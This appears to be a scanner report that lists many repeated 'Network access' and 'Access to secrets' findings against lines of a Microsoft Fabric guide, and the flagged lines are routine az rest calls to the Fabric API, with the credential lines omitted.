    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
